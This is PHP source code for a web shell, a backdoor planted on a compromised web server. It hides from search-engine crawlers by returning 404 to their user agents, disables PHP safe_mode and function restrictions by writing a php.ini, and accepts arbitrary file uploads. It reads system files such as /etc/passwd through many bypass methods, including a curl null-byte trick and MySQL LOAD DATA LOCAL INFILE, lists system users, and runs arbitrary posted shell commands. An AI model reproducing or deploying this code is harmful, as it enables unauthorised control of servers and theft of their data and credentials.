A B C D E F G H I J K L M N O P Q R S T U V W X Y Z if(!empty($_SERVER['HTTP_USER_AGENT'])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } error_reporting(0); $function_tkl = $_POST['function_tkl']; $pwd = $_POST['pwd']; $dir = $_POST['dir']; if ($dir == ''){ $dir = getcwd(); } if ($gaza == 'ini'){ $fp = fopen("php.ini","w+"); fwrite($fp,"safe_mode = Off disable_functions = NONE open_basedir = OFF "); } if (!empty ($_FILES['gazaUP'])) { move_uploaded_file($_FILES['gazaUP']['tmp_name'],$dir.'/'.$_FILES['gazaUP']['name']); $gaza_text = "Uploaded Successfully file name : ".$_FILES['gazaUP']['name']." file size : ".$_FILES['gazaUP']['size']." file type : ".$_FILES['gazaUP']['type']." "; } if ($function_tkl == 'mysql'){ $gaza_text1 = " "; } if ($function_tkl == 'mysql1'){ $host_name = $_POST['host_name']; // e.g : localhost $user_name = $_POST['user_name']; // e.g : gaza_hacker $user_pass = $_POST['user_pass']; // e.g : 123456 $db_name = $_POST['db_name']; // e.g : tkl_3654654 $gaza_mysql_file = $_POST['gaza_mysql_file']; // e.g : /etc/passwd $mysql_use = "yes"; $inquiry = array ( "USE $db_name", 'CREATE TEMPORARY TABLE ' . ($tkl_table = 'A'.time ()) . ' (a LONGBLOB)', "LOAD DATA LOCAL INFILE '$gaza_mysql_file' INTO TABLE $tkl_table FIELDS " . "TERMINATED BY '__THIS_NEVER_HAPPENS__' " . "ESCAPED BY '' " . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'", "SELECT a FROM $tkl_table LIMIT 1" ); mysql_connect ($host_name, $user_name, $user_pass); foreach ($inquiry as $inquiry_info) { $quiry = mysql_query ($inquiry_info); if ($quiry == false) die ( "error: " . $inquiry_info . "\n" . "error info: " . mysql_error () . "\n" ); if (! $tkl_read = @mysql_fetch_array ($quiry, MYSQL_NUM)) continue; $gaza_file = htmlspecialchars($tkl_read[0]); mysql_free_result ($quiry); } } function readFileTKL ($function_tkl,$pwd) { switch($function_tkl){ case "show_source": htmlspecialchars(show_source($pwd)); break; case "readfile": htmlspecialchars(readfile($pwd)); break; case "include": htmlspecialchars(include $pwd); break; case "fpassthru": $fp = fopen($pwd, 'r'); htmlspecialchars(fpassthru($fp)); break; case "file": $output = file($pwd); foreach( $output as $line ) { echo htmlspecialchars($line . "\n"); } break; case "highlight_file": htmlspecialchars(highlight_file($pwd)); break; case "curl": $tkl_cu = curl_init("file:///".$pwd."\x00/../../../../../../../../../../../../".__FILE__); curl_exec($tkl_cu); htmlspecialchars(var_dump(curl_exec($tkl_cu))); break; case "posix_getpwuid": for($uid=0;$uid<2000;$uid++){ $gaza_ar = posix_getpwuid($uid); if (!empty($gaza_ar)) { while (list ($key, $val) = each($gaza_ar)){ print "$val:"; } print "\n"; } } break; case "copy": $tmp=tempnam($ooopo, "cx"); if(copy("compress.zlib://".$pwd, $tmp)){ $ioio = fopen($tmp, "r"); echo fread($ioio, filesize($tmp)); fclose($ioio); unlink($tmp); }; break; case "fgets": $handle = @fopen($pwd, "r"); if ($handle) { while (($buffer = fgets($handle, 4096)) !== false) { echo $gaza_file.$buffer; } fclose($handle); } break; case "file_get_contents": echo file_get_contents($pwd); break; case "fread": $handle = fopen($pwd, "r"); echo fread($handle, filesize($pwd)); fclose($handle); break; case "stream_get_contents": if ($stream = fopen($pwd, 'r')) { echo stream_get_contents($stream, -1, 10); fclose($stream); } break; } } function exTKL() { $in=$_POST['command']; if (!$in == '') { $out = ''; if (function_exists('exec')) { @exec($in,$out); $out = @join("\n",$out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } echo $out; } } function hidTKL () { echo " "; } function fotTKL($gaza_text,$gaza_text1,$dir) { echo " |
|
|
".$gaza_text." | ".$gaza_text1." |